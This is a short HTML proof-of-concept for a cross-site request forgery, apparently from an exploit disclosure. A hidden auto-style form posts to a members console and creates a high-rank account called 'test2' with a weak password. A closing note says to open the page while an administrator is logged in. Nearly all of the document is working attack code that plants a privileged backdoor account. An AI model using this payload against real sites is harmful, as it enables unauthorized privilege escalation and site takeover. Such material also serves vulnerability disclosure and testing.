<!DOCTYPE html>
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://127.0.0.1/members/console.php?cID=5" method="POST">
<input type="hidden" name="newmember" value="test2" />
<input type="hidden" name="password" value="123456" />
<input type="hidden" name="password2" value="123456" />
<input type="hidden" name="set_rank" value="41" />
<input type="hidden" name="submit" value="Add New Member" />
<input type="hidden" name="checkCSRF" value="034afa58abf045d046ce7dba7b1b125e" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
After the administrator logged in, open the following one page
one.html add a High Rank account.